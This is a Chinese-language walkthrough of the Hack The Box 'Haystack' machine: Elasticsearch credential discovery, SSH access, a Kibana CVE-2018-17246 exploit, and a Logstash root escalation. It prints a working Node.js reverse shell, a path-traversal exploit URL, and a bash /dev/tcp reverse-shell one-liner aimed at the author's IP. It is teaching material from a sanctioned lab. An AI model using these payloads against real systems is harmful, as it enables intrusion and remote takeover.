1 扫描
22想到可能有ssh登录,80进web信息搜集,这里还有个9200属于高冷端口,一定要多注意,很可能就是突破点,否则开这个端口干嘛。百度搜了搜是ElasticSearch,可以查询一些信息。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (appli
2 web信息搜集 & 9200利用
进http,开局一张图,dirbuster扫不出啥。显然这张图很可能就有秘密。下载保存,然后strings
看看里面藏了什么东西木有。
果然最后有一句base码,解码,
然后查翻译,这是西班牙语la aguja en el pajar es "clave"
,意思是clave是关键
想到9200端口可以进行elasticsearch查询,那是否可以结合起来,查询的关键词就是这个clave??
查询语句可以参考这个文章
执行http://10.10.10.115:9200/_search?pretty&q=clave
继续翻译和base解码查出来的内容。
quote "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
1
_index "quotes"
_type "quote"
_id "111"
_score 5.3459888
_source
quote "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
得到密码信息user: security
以及 pass: spanish.is.key
回想到开头ssh端口开了,进行ssh登录。成功
3 提权至kibana
老套路linpeas.sh自动扫
但是没有wget,也没有nc,倒有curl,用curl从本机传脚本到靶机,输出成随便命名文件。
curl http://10.10.14.43/linpeas.sh -o /tmp/666.sh
先可以看到进程里root在运行logstash
然后又直接扫到了Kibana yaml
以及提示了5601是内部127.0.0.1运行的端口。百度下科普知识,logstash和kibana以及elasticsearch似乎是配套一起用来处理数据分析的。网络上科普也有很多。比如这个和这个。
logstash不知道如何下手,没有看到更深层可以利用的。
而kibana这个既然是内部端口,不对外,当然可以先端口转发转出来到本机看看。所以先下手kibana。
怀疑如果能拿到kibana的shell,可能就有对logstash利用的机会,既然logstash是root运行的。我改一改logstash文件什么的加入弹shell代码,root会自动执行。应该就可以提权了。
本机输入,执行端口转发
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115
我再在自己的浏览器,输入http://127.0.0.1:5601
但是第一次虽提示正在载入kibana,但始终无法正常进入网页,等很久loading没反应。然后说载入有问题。什么鬼。。
在htb官网上重启这个靶机看看。等几分钟。
再重复操作,这次却进入一个新页面,然后一会后换了另一种提示方式说载入有问题??什么鬼,不过我又加载一次,成功进入页面了。。。
可以看到版本信息了。
后来也搜到另一种看版本信息的方法,直接在linux靶机操作
但是这个目录进不去,看看是否安装有其他目录。再试试。/usr/share目录下的可以搞定了。
当然最终还是要成功转发过来,并正常载入进kibana才行。否则可能无法执行接下来的漏洞。
网上搜版本漏洞,searchsploit没有,去github搜。这个 https://github.com/mpgn/CVE-2018-17246
按提示,自己先做个shell.js文件,ip端口改自己的
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.43", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
curl老方法传到靶机,随便命个名。curl http://10.10.14.35/shell.js -o /tmp/666.js
在kibana成功转发到本机,且能正常载入进去后。
本机网页输入、执行
127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION\&apis=../../../../../../.../../../../tmp/666.js
本机监听,收到,然后tty python -c 'import pty; pty.spawn("/bin/bash")'
4 提权root
继续拿linpeas扫,看看能否以kibana角度有新发现。
这三张扫描截图可以确定
1、root在执行logstash。
2、我可以读写/etc/logstash/conf.d这个配置文件,看看是否有关键信息可利用。
3、成为kibana,/opt/kibana目录下我也有读写权了。
记住这些出现的目录,很可能里面都有关键文件,都是可以突破利用的。不然为啥给你读写权限。
首先我们进去看看配置文件
input是输入,path说明了是/opt/kibana/logstash_*
。和我们之前扫描的,这个目录我们有读写权限,结合呼应起来了。可以利用。
_*
说明最后调用的是这个下划线+随意命名的文件,比如/opt/kibana/logstash_a
或/opt/kibana/logstash_b
最后一位随便换。
filter是过滤的意思。match是匹配,也就是从logstash_*
调用的文件内容,要符合匹配。匹配规则是啥呢,就是后面这串西班牙语,当然\s*
是空格符,*是贪婪模式。总体意思就是空格,我猜应该是这样。%括号里就是执行的内容了,comando
就是西班牙语 的命令指挥意思,英语里的command。
按照这个格式,可以加弹shell代码作为执行命令试试,放到/opt/kibana/logstash_a
里。
按照这个配置,执行后,会按path调用/opt/kibana/logstash_a
这个目录文件,然后检查内容匹配要素,是否符合规则,ok的话就会执行了,可能立马执行,也可能是个cronjob过会执行。
然后打开本机监听
echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.14.43/9002 0>&1' > /opt/kibana/logstash_a
过会后成功收到拿下root